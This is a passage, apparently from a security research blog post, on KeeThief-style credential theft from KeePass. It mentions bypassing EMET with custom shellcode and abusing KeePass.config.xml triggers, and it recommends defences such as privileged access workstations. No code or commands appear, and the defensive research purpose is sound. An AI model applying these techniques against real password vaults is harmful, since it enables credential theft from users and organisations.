We should note that while this is a great best practice, it’s also likely not a silver bullet. Josh Pitts (@midnite_runr) and Casey Smith (@subtee) did some awesome research this year on “The EMET Serendipity: EMET’s (In)Effectiveness Against Non-Exploitation Uses“. The tl;dr is that you can bypass EMET with custom shellcode if LoadLibraryA/GetProcAddress is in the IAT of your target process (or one of its libraries) …which is the case with emet.dll. We’re assuming that this approach for KeeThief’s shellcode likely wouldn’t be too hard for someone with the background and motivation, but using EMET increases the bar and creates another opportunity for the attacker to make a mistake and be detected.

In addition to host-based monitoring, organizations should take steps towards segregating IT workstations from normal day-to-day operations and reducing their reliance on passwords. Building Privileged Access Workstations and restricting KeePass usage to only those hosts will go a long ways in reducing credential theft in general. In addition, take steps towards using technologies such as Group Managed Service Accounts so administrators don’t have to manage passwords at all. Remember: it’s impossible to steal passwords from KeePass if they’re never stored there in the first place :)

WrapUp

To reiterate from the last KeePass post, KeePass is not “bad” or “vulnerable” – it’s a much better solution than what we see in many environments, and the developers did pretty much everything right when coding it (including strong in-memory protections and DPAPI). Still, some admins/companies sometimes tend to see solutions like this as a silver bullet, so one point of this post is to (again) show that practical attack vectors against KeePass and similar vaults are not unrealistic. Our intention is not to convince anyone NOT to use a password manager (we believe you definitely SHOULD use a password manager), but rather to combat the false sense of security it may give some users.

For those who feel that 2-factor is silver bullet as far as local password managers go, we would caution you yet again: the resulting key material is likely in memory somewhere if the database is unlocked, and the method of unlocking ultimately doesn’t matter if the KeePass.config.xml is modified. KeePass knows these issues – the trigger system was intended functionality and KeePass doesn’t consider tools like KeeFarce a threat. We agree that protecting your program against a malicious attacker operating in the same security context is an extremely difficult problem.

As an aside, this project was developed off hours by two of our ATD team members purely out of research interest. You can imagine what an advanced adversary with much more talent, funding, time, and manpower could produce against other password manager solutions in a targeted operation.